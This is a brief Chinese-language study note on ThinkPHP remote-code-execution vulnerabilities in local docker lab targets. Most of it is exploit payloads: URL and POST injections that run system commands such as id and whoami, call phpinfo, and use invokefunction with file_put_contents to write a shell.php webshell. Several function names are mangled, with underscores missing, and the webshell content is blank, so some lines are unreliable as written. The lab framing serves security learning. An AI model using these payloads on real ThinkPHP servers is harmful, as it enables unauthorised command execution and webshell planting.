Thinkphp漏洞学习笔记

2-rce

进入到2-rce文件后，docker-compose up -d启动容器

在浏览器中登陆靶场ip:8080

输入payload：//index.php?s=/index/index/xxx/${system(id)}

//index.php?s=/index/index/xxx/${system(whoami)}

//index.php?s=/index/index/xxx/${phpinfo()}

5.0.23-rce

进入到5.0.23-rce文件后，docker-compose up -d启动容器

在浏览器中登陆靶场ip:8080

payload：/index.php?s=captcha

在HackBar中选择post data，在下面的输入框中执行poc：method=construct&filter[]=system&method=get&server[REQUESTMETHOD]=id

5-rce

进入到5-rce文件后，docker-compose up -d启动容器

在浏览器中登陆靶场ip:8080

查看php配置，输入payload：/index.php?s=index/\think\app/invokefunction&function=phpinfo&vars[0]=100

将php文件写入信息,payload：/index.php?s=/index/\think\app/invokefunction&function=calluserfuncarray&vars[0]=fileput_contents&vars[1][]=shell.php&vars[1][]=

查看shell php信息内容，payload：shell.php